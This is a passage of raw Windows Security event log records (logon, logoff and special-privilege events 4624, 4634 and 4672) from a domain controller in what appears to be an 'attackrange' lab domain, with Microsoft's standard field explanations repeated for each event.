and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249509 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4A6B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249508 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4A05 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249507 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4A05 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64272 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249506 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4A05 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249505 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE49A4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249504 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE49A4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64271 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249503 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE49A4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249526 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4C60 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249525 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4C60 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64278 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249524 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4C60 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249523 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4BFF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249522 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4BFF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64277 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249521 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4BFF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249520 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4B99 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249519 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4B99 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64276 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249518 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4B99 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249517 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4B38 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249516 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4B38 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64275 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249515 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4B38 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249538 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4DF5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249537 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4DF5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64282 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249536 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4DF5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249535 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4D94 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249534 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4D94 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64281 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249533 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4D94 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249532 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4D2E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249531 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4D2E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64280 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249530 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4D2E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249529 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4CCD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:43 PM 